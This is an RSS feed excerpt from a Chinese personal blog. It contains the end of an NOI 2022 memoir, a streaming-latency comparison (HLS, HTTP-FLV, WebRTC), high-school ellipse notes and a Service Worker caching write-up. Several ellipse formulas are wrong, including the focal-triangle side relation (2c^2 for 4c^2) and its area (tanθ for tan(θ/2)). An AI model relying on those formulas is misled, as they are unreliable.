&lt;p&gt;NOI 2022，银牌。依旧是没有暴力分的一次，心中有很多遗憾，但也只能如此了。&lt;/p&gt;
&lt;h2&gt;5 尾声&lt;/h2&gt;
&lt;p&gt;考后因苏州有疫情，当天便紧急疏散。我前往上海游玩几天后便回到乌鲁木齐开始了高三生活。&lt;/p&gt;
&lt;p&gt;在几乎 4 个月的封控时间后，封控一词也就变成了集体记忆的一部分了。&lt;/p&gt;
&lt;p&gt;回到班级，感染，上课，日复一日的作业和考试。女娲补天的过程是艰难的，而且我也不知道补成了没。&lt;/p&gt;
&lt;p&gt;最后一次晚自习之后，学校整了场欢送演唱会，大家一起唱「我相信」的时候，突然一下泪如泉涌。&lt;/p&gt;
&lt;p&gt;我已经不再是那个相信自己能够有所作为的初中选手了。&lt;/p&gt;
&lt;p&gt;回过头来，我是有很多次想放弃继续参加竞赛的。但往往也就是咬咬牙，决心一条路走到黑。&lt;/p&gt;
&lt;p&gt;没有人能判定哪条路一定更好，但是毋庸置疑，数年的竞赛生活给了我机会，让我能走出绿谷，以自己的眼光观察这个世界。&lt;/p&gt;
&lt;p&gt;我很感谢这样的机会。&lt;/p&gt;
&lt;h2&gt;6 致谢&lt;/h2&gt;
&lt;p&gt;感谢我的父母，教练和老师在我竞赛生涯提供的支持。&lt;/p&gt;
&lt;p&gt;感谢乌鲁木齐市第一中学所提供的资源和环境。&lt;/p&gt;
&lt;p&gt;感谢我的同学和老师在我高三回班时给予如此多的帮助。&lt;/p&gt;
&lt;p&gt;感谢 StudyingFather，我的思维方式和代码习惯受你很大影响。&lt;/p&gt;
&lt;p&gt;感谢 15owzly1，StudyingFather，yyy，jiangtao，c0per 学长的帮助和支持。&lt;/p&gt;
&lt;p&gt;感谢 Greyfox，Tiger1218，在我比较痛苦的时光中给予我支持。&lt;/p&gt;
&lt;p&gt;感谢 cjh，larry0101 学弟，你们的努力和强大的水平激励了我，也帮助了我许多。&lt;/p&gt;
&lt;p&gt;感谢 影子鱼，xufly，duad，能和你们在同一届同为竞赛选手是很幸运的事情。&lt;/p&gt;
&lt;p&gt;感谢 ynh，dyf_dyf，zsm，Yuuko，浓浓的抹茶，很荣幸和你们一同在省队。&lt;/p&gt;
&lt;p&gt;感谢在内地所遇到的选手们，谢谢你们能够包容接纳我，并慷慨解囊。&lt;/p&gt;
&lt;p&gt;感谢 LibreOJ 和 UOJ，祝 LOJ 和 UOJ 以后能越来越好。&lt;/p&gt;
&lt;p&gt;祝 cjh，zyf，larry0101 在今年的 NOI 上取得好成绩!&lt;/p&gt;
&lt;p&gt;Woshiluo&lt;/p&gt;
&lt;p&gt;2023 年 06 月 12 日 初稿于火车上&lt;/p&gt;
&lt;p&gt;2023 年 09 月 15 日 终稿于杭州电子科技大学&lt;/p&gt;
</content:encoded><category>share</category><author>woshiluo</author></item><item><title>歪理随记</title><link>https://blog.woshiluo.com/posts/2023/01/%E6%AD%AA%E7%90%86%E9%9A%8F%E8%AE%B0/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2023/01/%E6%AD%AA%E7%90%86%E9%9A%8F%E8%AE%B0/</guid><pubDate>Sun, 29 Jan 2023 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;和&lt;a href=&quot;https://tiger1218.com/&quot;&gt;朋友&lt;/a&gt;聊天的时候说的几句话，想想应该记下来自勉：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;个人精力的极限就在哪里，你试图压它提高效率，它会在别的地方降低你的效率。&lt;/p&gt;
&lt;p&gt;我能做的就是在我有精力的时候好好学，然后努力做好精力分配。&lt;/p&gt;
&lt;p&gt;剩下的我急就是浪费精力&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded><author>woshiluo</author></item><item><title>直播，从延迟到卡顿</title><link>https://blog.woshiluo.com/posts/2022/11/%E7%9B%B4%E6%92%AD%E4%BB%8E%E5%BB%B6%E8%BF%9F%E5%88%B0%E5%8D%A1%E9%A1%BF/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/11/%E7%9B%B4%E6%92%AD%E4%BB%8E%E5%BB%B6%E8%BF%9F%E5%88%B0%E5%8D%A1%E9%A1%BF/</guid><pubDate>Sun, 27 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;同学们整了个直播平台。&lt;/p&gt;
&lt;p&gt;他们跑起来了！他们用的服务器没有前端！&lt;/p&gt;
&lt;p&gt;他们自己写了！他们写挂了！他们来折磨我了！&lt;/p&gt;
&lt;h2&gt;1 技术栈&lt;/h2&gt;
&lt;p&gt;他们用的是这玩意 &lt;a href=&quot;https://github.com/ZLMediaKit/ZLMediaKit&quot;&gt;https://github.com/ZLMediaKit/ZLMediaKit&lt;/a&gt;。其实我是不开心的，因为这种大而全的东西往往代码都比较离谱，而且文档和沟通记录全中文，怎么看怎么离谱。&lt;/p&gt;
&lt;p&gt;不过我不趟这浑水，跑都跑起来了管他干啥。&lt;/p&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;h2&gt;2 HLS&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;HTTP Live Streaming，缩写为HLS，是由苹果公司提出基于HTTP的流媒体网络传输协议。是苹果公司QuickTime X和iPhone软件系统的一部分。它的工作原理是把整个流分成一个个小的基于HTTP的文件来下载，每次只下载一些。当媒体流正在播放时，客户端可以选择从许多不同的备用源中以不同的速率下载同样的资源，允许流媒体会话适应不同的数据速率。在开始一个流媒体会话时，客户端会下载一个包含元数据的扩展 M3U (m3u8) 播放列表文件，用于寻找可用的媒体流。
source: &lt;a href=&quot;https://zh.wikipedia.org/wiki/HTTP_Live_Streaming&quot;&gt;https://zh.wikipedia.org/wiki/HTTP_Live_Streaming&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;支持上，Chrome 原生支持，Firefox 需要 &lt;code&gt;hls.js&lt;/code&gt; 之类的插件。&lt;/p&gt;
&lt;p&gt;HLS 支持事实上最广泛，很容易在 Github 上找到一车 HLS 的库。&lt;/p&gt;
&lt;p&gt;缺点是标准的 HLS 受到切片时间限制，延迟往往会超过 5s 甚至 15s。&lt;/p&gt;
&lt;p&gt;后来果子又整了个 LLHLS，但是技术栈不支持这东西。&lt;/p&gt;
&lt;p&gt;直接套用 video.js 就可以获得良好的体验。&lt;/p&gt;
&lt;p&gt;延迟太大了，得解决一下。&lt;/p&gt;
&lt;h2&gt;3 HTTP-FLV&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;你说的 FLV，是不是那个已经进了坟墓的 Flash？&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;还真是。&lt;/p&gt;
&lt;p&gt;技术细节没啥可讲的，只要我不发 &lt;code&gt;context-length&lt;/code&gt;，浏览器就不断连。&lt;/p&gt;
&lt;p&gt;Flash 坟头草都比人高了，需要 flv.js 续命。&lt;/p&gt;
&lt;p&gt;实践起来的话，flv.js 会更改 video 的 src，所以每次需要销毁并重建 video.js 来更换链接。&lt;/p&gt;
&lt;p&gt;延迟在 3-5s。&lt;/p&gt;
&lt;h2&gt;4 WebRTC&lt;/h2&gt;
&lt;p&gt;一方面，我们不想和尸体打交道，另一方面，FLV 的延迟还可以更低，来看一下 WebRTC。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;WebRTC (Web Real-Time Communication) is a technology that enables Web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary. The set of standards that comprise WebRTC makes it possible to share data and perform teleconferencing peer-to-peer, without requiring that the user install plug-ins or any other third-party software.
source: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/WebRTC_API&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;WebRTC 的连接分为以下几步：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;通过信服务器交换两边的媒体数据和 ICE 服务器。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过 STUN nat 打洞。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;通过 P2P 连接。&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;这东西一看就知道纯纯的花活，不再像上面两者一样基于 HTTP 链接，而是通过其他协议来降低延迟。&lt;/p&gt;
&lt;p&gt;WebRTC 在 Firefox 和 Chrome 系都内置支持。但是很难找得到库，似乎是因为大家的信令服务器的交换方式各不相同，令人头大。&lt;/p&gt;
&lt;p&gt;好在手搓 sdp 交换难度并不大。&lt;/p&gt;
&lt;p&gt;这东西的延时约在 1s 左右，相当吓人。&lt;/p&gt;
&lt;p&gt;需要注意的是因为极低的延迟在网络波动时很容易卡顿以及 Firefox 在使用 Socks 代理时会无法建立链接。&lt;/p&gt;
&lt;h2&gt;5 结&lt;/h2&gt;
&lt;p&gt;最后提供了一个选择 HTTP-FLV 或 WebRTC 的选项。&lt;/p&gt;
&lt;p&gt;没办法，WebRTC 延迟虽然低，但是又是会有波动性，还是要确保大家都能用。&lt;/p&gt;
&lt;p&gt;Firefox 什么时候修 WebRTC 的 Bug 啊，我都找到好几个 issue 了。&lt;/p&gt;
</content:encoded><author>woshiluo</author></item><item><title>高中数学学习笔记 - 椭圆</title><link>https://blog.woshiluo.com/posts/2022/11/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-%E6%A4%AD%E5%9C%86/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/11/%E9%AB%98%E4%B8%AD%E6%95%B0%E5%AD%A6%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0-%E6%A4%AD%E5%9C%86/</guid><pubDate>Thu, 24 Nov 2022 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;我怎么也沦落到发这种文章了。&lt;/p&gt;
&lt;p&gt;整理都整理完了，不发白不发。&lt;/p&gt;
&lt;h2&gt;1 定义&lt;/h2&gt;
&lt;p&gt;给定两点 $F_1, F_2$，令 $|F_1F_2| = 2c$，存在动点 $P$ 满足 $|PF_1| + |PF_2| = 2a(2a&amp;gt;2c)$，则 P 的轨迹曲线为椭圆。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;$2a = 2c$ 时 P 的轨迹为线段，也就是线段 $F_1F_2$；
$2a &amp;lt; 2c$ 时 P 不存在。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;$F_1, F_2$ 称为焦点。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;第二定义：&lt;/p&gt;
&lt;p&gt;准线：$x = \pm \frac{a^2}{c}$&lt;/p&gt;
&lt;p&gt;令 $P$ 到左准线距离为 $d_1$，到右准线距离 $d_2$。&lt;/p&gt;
&lt;p&gt;有&lt;/p&gt;
&lt;p&gt;$$ \frac{PF_1}{d_1} = \frac{PF_2}{d_2} = e ( e \in (0,1) )$$&lt;/p&gt;
&lt;h2&gt;2 几何性质&lt;/h2&gt;
&lt;h3&gt;2.1 标准式&lt;/h3&gt;
&lt;p&gt;焦点在 $x$ 轴上：&lt;/p&gt;
&lt;p&gt;$$
\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1 ( a &amp;gt; b &amp;gt; 0 )
$$&lt;/p&gt;
&lt;p&gt;焦点在 $y$ 轴上：&lt;/p&gt;
&lt;p&gt;$$
\frac{y^2}{a^2} + \frac{x^2}{b^2} = 1 ( a &amp;gt; b &amp;gt; 0 )
$$&lt;/p&gt;
&lt;h3&gt;2.2 一般式&lt;/h3&gt;
&lt;p&gt;$$ Ax^2 + By^2 = 1 (A&amp;gt;0,B&amp;gt;0,A \neq B)$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;注意 $A \neq B$ 不然就是圆了。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 a, b, c 的关系&lt;/h3&gt;
&lt;p&gt;$$ a^2 = b^2 + c^2 $$&lt;/p&gt;
&lt;h3&gt;2.4 范围&lt;/h3&gt;
&lt;p&gt;$$
x \in [-a,a], y \in [b,-b]
$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;$(a^2-e^2x_0^2)$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最大值：$x_0 = 0$ 时，取 $a^2$；&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;最小值：$x_0 = a$ 时，取 $a^2-c^2=b^2$。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.5 对称性&lt;/h3&gt;
&lt;p&gt;关于坐标轴，$(0,0)$ 对称。&lt;/p&gt;
&lt;h3&gt;2.6 长短轴&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;长轴：$2a$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;短轴：$2b$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;焦距：$2c$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;半焦距：$c$&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.7 离心率&lt;/h3&gt;
&lt;p&gt;表示椭圆的圆扁。&lt;/p&gt;
&lt;p&gt;$$e=\frac{c}{a}$$&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;显然 $e \in (0,1)$ 因为 $a &amp;gt; c$&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;$e \to 1$，越扁。$e^2 = \frac{c^2}{a^2} = 1 - \frac{b^2}{a^2}$&lt;/p&gt;
&lt;h4&gt;2.7.1 求法&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;$e^2 = \frac{c^2}{a^2}$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;构建 $a,c$ 齐次式&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;特殊位置特殊值&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;焦点三角形底角 $\alpha, \beta$ 有 $e = \frac{\sin(\alpha + \beta)}{\sin \alpha + \sin \beta}$&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;注意范围&lt;/p&gt;
&lt;h3&gt;2.8 通径&lt;/h3&gt;
&lt;p&gt;过焦点，两端点位于椭圆上，垂直于 $x$ 轴的线段。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/11/2022-11-23_19-49-11_1669204151-1024x672.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;即图中 $PQ$。&lt;/p&gt;
&lt;p&gt;有 $PQ = \frac{2b^2}{a}$&lt;/p&gt;
&lt;h2&gt;3 焦点&lt;/h2&gt;
&lt;h3&gt;3.1 焦点三角形&lt;/h3&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.woshiluo.com/wp-content/uploads/2022/11/2022-11-23_19-21-55_1669202515-1024x808.webp&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;如图，以椭圆上一点 $P$ 和焦点 $F_1F_2$ 构成的三角形 $\triangle PF_1F_2$ 称为焦点三角形。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;$|PF_1|+|PF_2| = 2a$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$|PF_1|^2 + |PF_2|^2 - 2|PF_1||PF_2| \cos \theta = |F_1F_2|^2 = 2c^2$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;$S \triangle = \frac{1}{2}|PF_1||PF_2| \sin \theta = b^2 \tan \theta$&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;周长： $2(c+a)$&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.1 延伸三角形&lt;/h3&gt;
&lt;p&gt;延伸焦点三角形中的非 $F_1F_2$ 一边交于椭圆，为延伸三角形。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;周长：$4a$&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 焦半径&lt;/h3&gt;
&lt;p&gt;就是 $PF_1,PF_2$&lt;/p&gt;
&lt;p&gt;有 $PF_1 = a + ex_0$ $PF_2 = a - ex_0$&lt;/p&gt;
&lt;p&gt;代入第二定义证明。&lt;/p&gt;
&lt;p&gt;有 $PF \in [ a - c, a + c ]$。&lt;/p&gt;
&lt;h2&gt;4 方程&lt;/h2&gt;
&lt;h3&gt;4.1 共焦点&lt;/h3&gt;
&lt;p&gt;与&lt;/p&gt;
&lt;p&gt;$$
\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1 ( a &amp;gt; b &amp;gt; 0 )
$$&lt;/p&gt;
&lt;p&gt;共焦点的椭圆可设&lt;/p&gt;
&lt;p&gt;$$
\frac{x^2}{a^2-k} + \frac{y^2}{b^2-k} = 1 ( a &amp;gt; b &amp;gt; 0, b^2 - k &amp;gt; 0 )
$$&lt;/p&gt;
&lt;h3&gt;4.2 共离心率&lt;/h3&gt;
&lt;p&gt;与&lt;/p&gt;
&lt;p&gt;$$
\frac{x^2}{a^2} + \frac{y^2}{b^2} = 1 ( a &amp;gt; b &amp;gt; 0 )
$$&lt;/p&gt;
&lt;p&gt;共焦点的椭圆可设&lt;/p&gt;
&lt;p&gt;$$
\frac{x^2}{a^2} + \frac{y^2}{b^2} = \lambda ( a &amp;gt; b &amp;gt; 0, \lambda &amp;gt; 0 )
$$&lt;/p&gt;
&lt;h2&gt;5 公式&lt;/h2&gt;
&lt;h3&gt;5.1 中点弦&lt;/h3&gt;
&lt;p&gt;若 $M(x,y)$ 为椭圆弦 $AB$ 的中点。&lt;/p&gt;
&lt;p&gt;有 $k_{AB} \cdot k_{OM} = -\frac{b^2}{a^2}$&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;点差法：
有 $A(x_1,y_1), B(x_2, y_2)$ 在椭圆上，即
$$\begin{cases} \frac{x_1^2}{a^2} + \frac{y_1^2}{b^2} = 1 \ \frac{x_2^2}{a^2} + \frac{y_2^2}{b^2} = 1 \end{cases}$$
两式做差有
$$\frac{x_1^2 - x_2^2}{a^2} + \frac{y_1^2 - y_2^2}{b^2} = 0$$
整理可得
$$\frac{y_1-y_2}{x_1-x_2} = -\frac{b^2(x_1+x_2)}{a^2(y_1+y_2)}$$&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;5.2 弦长公式&lt;/h3&gt;
&lt;p&gt;$y = kx + b$ 与椭圆交于 $A(x_1,y_1), B(x_2, y_2)$&lt;/p&gt;
&lt;p&gt;有 $|AB| = \sqrt{1+k^2}|x_1 - x_2| = \sqrt{1+k^2}\sqrt{(x_1+x_2)^2-4x_1x_2} = \sqrt{1+\frac{1}{k^2}}\sqrt{(y_1+y_2)^2-4y_1y_2}$&lt;/p&gt;
&lt;h3&gt;5.3 切线方程&lt;/h3&gt;
&lt;p&gt;过椭圆上一点 $(x_0,y_0)$ 切线方程为 $\frac{x_0x}{a^2} + \frac{y_0y}{b^2} = 1$&lt;/p&gt;
&lt;p&gt;过椭圆外一点 $P(x_0,y_0)$ 的两条，和椭圆的两个切点 $P_1,P_2$ 所在直线方程：&lt;/p&gt;
&lt;p&gt;$$\frac{x_0x}{a^2} + \frac{y_0y}{b^2} = 1$$&lt;/p&gt;
</content:encoded><author>woshiluo</author></item><item><title>折腾小记 - Service Worker</title><link>https://blog.woshiluo.com/posts/2022/10/%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0-service-worker/</link><guid isPermaLink="true">https://blog.woshiluo.com/posts/2022/10/%E6%8A%98%E8%85%BE%E5%B0%8F%E8%AE%B0-service-worker/</guid><pubDate>Sat, 29 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;0 序&lt;/h2&gt;
&lt;p&gt;退役了，文化课了。于是每天写代码的时间连 20min 都没有了。&lt;/p&gt;
&lt;p&gt;但我还是想写！那就整点乐子吧&lt;/p&gt;
&lt;h2&gt;1 Service Worker&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;The service worker is designed first to redress this balance by providing a Web Worker context, which can be started by a runtime when navigations are about to occur. This event-driven worker is registered against an origin and a path (or pattern), meaning it can be consulted when navigations occur to that location. Events that correspond to network requests are dispatched to the worker and the responses generated by the worker may override default network stack behavior. This puts the service worker, conceptually, between the network and a document renderer, allowing the service worker to provide content for documents, even while offline.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.w3.org/TR/service-workers/#motivations&quot;&gt;https://www.w3.org/TR/service-workers/#motivations&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;翻译一下就是&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Service Worker 提供了一种在请求前进行处理的 Web Worker。开发者可以通过此技术来拦截并修改每一个请求，并通过访问缓存等方式实现在网络较差甚至离线情况下对网页的访问。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;!--more--&amp;gt;&lt;/p&gt;
&lt;p&gt;也就是说，Service Worker 提供了一个缓存控制器，使得开发者能够更加精确的控制缓存。&lt;/p&gt;
&lt;p&gt;其实我最早知道这个东西的时候，大家还喜欢把这玩意儿和 PWA 一起说，说什么 APP 未来的趋势。过两年小程序出来了，PWA 在国内也就是笑谈了。&lt;/p&gt;
&lt;h3&gt;1.1 兼容性&lt;/h3&gt;
&lt;p&gt;较为现代且非 IE 的浏览器都支持 Service Worker。&lt;/p&gt;
&lt;p&gt;更详细的请参见：&lt;a href=&quot;https://caniuse.com/?search=service%20worker&quot;&gt;https://caniuse.com/?search=service%20worker&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;1.2 一些技术细节&lt;/h3&gt;
&lt;p&gt;同步和通知功能实在用不到，我就不写了。&lt;/p&gt;
&lt;p&gt;Service Worker 是有一个注册流程的。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;如果之前没有 Service Worker，那么经过 &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerContainer/register&quot;&gt;ServiceWorkerContainer.register()&lt;/a&gt; 方法注册，如果代码运行成功，那么 Service Worker 进入 Installed 状态。&lt;/li&gt;
&lt;li&gt;在之后的访问，每次都会使用这一次注册的 Service Worker，也就是 Activate 状态。如果 Service Worker 文件发生变化，那么新的文件会进入 Waiting 状态。在关于注册域的所有网页都已经被关闭后，原有的 Service Worker 文件被回收，新的 Service Worker 将在下一次访问时开始工作。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Service Worker 有注册域（scope）的概念。&lt;/p&gt;
&lt;p&gt;Service Worker 只在访问注册域下的页面时工作。&lt;/p&gt;
&lt;p&gt;尽管在注册时有参数可以可以指定注册域，但是在没有配置的情况下，注册域只能是 &lt;code&gt;sw.js&lt;/code&gt; 文件所在目录本身或其子目录。如果想要注册在这些目录之外的地方，需要服务器发送 &lt;code&gt;Service-Worker-Allowed&lt;/code&gt;（具体&lt;a href=&quot;https://www.w3.org/TR/service-workers/#service-worker-allowed&quot;&gt;参见&lt;/a&gt;）头以指定允许的注册域。&lt;/p&gt;
&lt;h3&gt;1.3 事件和方法&lt;/h3&gt;
&lt;p&gt;在安装时，有两个事件，&lt;code&gt;install&lt;/code&gt; 和 &lt;code&gt;activate&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You can listen for the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerGlobalScope/install_event&quot;&gt;&lt;code&gt;install&lt;/code&gt;&lt;/a&gt; event; a standard action is to prepare your service worker for usage when this fires, for example by creating a cache using the built in storage API, and placing assets inside it that you&apos;ll want for running your app offline.&lt;/p&gt;
&lt;p&gt;There is also an &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorkerGlobalScope/activate_event&quot;&gt;&lt;code&gt;activate&lt;/code&gt;&lt;/a&gt; event. The point where this event fires is generally a good time to clean up old caches and other things associated with the previous version of your service worker.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;install&lt;/code&gt; 事件；通常用于预加载需要的文件。&lt;/p&gt;
&lt;p&gt;&lt;code&gt;activate&lt;/code&gt; 事件；通常用于清除上一版本的 Service Worker 留下的缓存和其他东西。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;在请求时，有事件 &lt;code&gt;fetch&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Your service worker can respond to requests using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent&quot;&gt;&lt;code&gt;FetchEvent&lt;/code&gt;&lt;/a&gt; event. You can modify the response to these requests in any way you want, using the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent/respondWith&quot;&gt;&lt;code&gt;FetchEvent.respondWith()&lt;/code&gt;&lt;/a&gt; method.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/Service_Worker_API&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;fetch&lt;/code&gt; 事件；监听每一个请求，可以通过 &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent/respondWith&quot;&gt;&lt;code&gt;FetchEvent.respondWith()&lt;/code&gt;&lt;/a&gt; 方法来指定回应方式。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;值得注意的是，&lt;code&gt;respondWith(response)&lt;/code&gt; 的参数 &lt;code&gt;response&lt;/code&gt;，可以是 Response，也可以是一个返回 Response 的 Promise&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Response&quot;&gt;&lt;code&gt;Response&lt;/code&gt;&lt;/a&gt; or a &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise&quot;&gt;&lt;code&gt;Promise&lt;/code&gt;&lt;/a&gt; that resolves to a &lt;code&gt;Response&lt;/code&gt;. Otherwise, a network error is returned to Fetch.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent/respondWith&quot;&gt;https://developer.mozilla.org/en-US/docs/Web/API/FetchEvent/respondWith&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;2 本站的实现&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;你可以在这里查看：&lt;a href=&quot;https://github.com/woshiluo/wordpress-theme-simplemd/blob/b8583d1321662d3917de6ada0d481107d60ba0d6/js/sw.js&quot;&gt;https://github.com/woshiluo/wordpress-theme-simplemd/blob/b8583d1321662d3917de6ada0d481107d60ba0d6/js/sw.js&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;这个版本使用了两个缓存池，&lt;code&gt;staticfiles&lt;/code&gt; 和 &lt;code&gt;cachefiles&lt;/code&gt;，通过后缀来分辨 &lt;code&gt;sw.js&lt;/code&gt; 的版本。&lt;/p&gt;
&lt;p&gt;我没有选择在 &lt;code&gt;install&lt;/code&gt; 事件时预加载一部分资源，因为本站的静态资源在每个页面是一致的。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;activate&lt;/code&gt; 事件中，将非当前版本的缓存池删除，以去除老版本留下的缓存。&lt;/p&gt;
&lt;p&gt;在 &lt;code&gt;fetch&lt;/code&gt; 事件中，当前仅当 &lt;code&gt;wp-content&lt;/code&gt; 和 &lt;code&gt;wp-include&lt;/code&gt; 目录下的文件会被放入 &lt;code&gt;staticfiles&lt;/code&gt;，其他文件会放入 &lt;code&gt;cachefiles&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;staticfiles&lt;/code&gt; 的文件会优先读取缓存，如果没有命中缓存，则请求并放入缓存。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;cachefiles&lt;/code&gt; 的文件会优先请求最新资源并放入缓存，如果无法连接，则返回缓存内的文件。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;为什么 &lt;code&gt;staticfiles&lt;/code&gt; 有请求一次就不再更新的底气呢？因为几乎所有会更新的资源都有 &lt;code&gt;?ver=&lt;/code&gt; 的 url 参数，这意味只要资源更新，那么链接也会被更新，就不会命中之前的缓存了。&lt;/p&gt;
&lt;h2&gt;3 关于前端性能优化&lt;/h2&gt;
&lt;p&gt;在配合上 Service Worker 后，在我的环境下， DOMContentLoaded 约在 600-1000ms。&lt;/p&gt;
&lt;p&gt;显然不算难看，但也没多好看。&lt;/p&gt;
